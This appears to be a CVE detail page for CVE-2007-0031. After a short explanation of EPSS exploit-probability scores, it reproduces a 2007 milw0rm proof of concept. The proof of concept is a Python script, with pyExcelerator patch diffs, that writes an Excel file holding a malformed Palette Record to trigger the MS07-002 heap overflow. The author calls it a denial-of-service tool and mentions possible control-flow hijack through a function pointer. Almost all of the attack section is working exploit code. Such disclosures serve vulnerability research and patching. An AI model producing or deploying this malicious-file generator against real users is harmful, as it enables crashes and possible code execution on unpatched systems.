CVE-2007-0031 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

""" MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC ###### Author ###### LifeAsaGeek at gmail.com ... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs ######################## Vulnerablity Description ######################## Bound error occurs when parsing Palette Record and it causes Heap Overflow check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506 which is generated by DarunGrim ( and I want to say I'm not a person who made this analyzer ==; ) ############# Attack Vector ############# Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status ! Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere ) In *CERTAIN* environment( such as open excel file which is already opened) you can catch the flow by modify function pointer, but it doesn't have a reliablity at all Let me know if you have a good method to break down ###### Result ###### DOS ##### Notes ##### You should modify pyExcelerator module because it doesn't generate Palette Record pyExcelerator diff results would be like below diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py 1104a1105,1108 > def __init__(self): > BiffRecord.__init__(self) > self._rec_data = pack('<H', 0x0038) # number of colours > self._rec_data += 'A' * 0xe0 diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py 468,469c468 < result = '' < return result --- > return BIFFRecords.PaletteRecord().get() !! THIS IS ONLY FOR EDUCATIONAL PURPOSE !! - 2007.01.25 """ import sys, os from struct import * from pyExcelerator import * def CreateXLS(): w = Workbook() ws = w.add_sheet('MS07-002 POC') w.save( "before.xls") def ModifyXLS(): try: f = open( "before.xls", "rb") except: print "File Open Error ! " sys.exit(0) str = f.read() f.close() #write to malformed xls file f = open( "after.xls", "wb") PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038) NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF) palette_idx = str.find( PaletteRecord) if palette_idx == -1: print "Cannot find Palette Record" sys.exit(0) str = str.replace( PaletteRecord, NewPaletteRecord) f.write( str) f.close() if __name__ == "__main__": print "===========================================================" print "MS07-002 Malformed Palette Record vulnerability DOS POC " print "Create POC Excel File after.xls" print "by LifeAsaGeek at gmail.com" print "===========================================================" CreateXLS() ModifyXLS() # milw0rm.com [2007-01-25]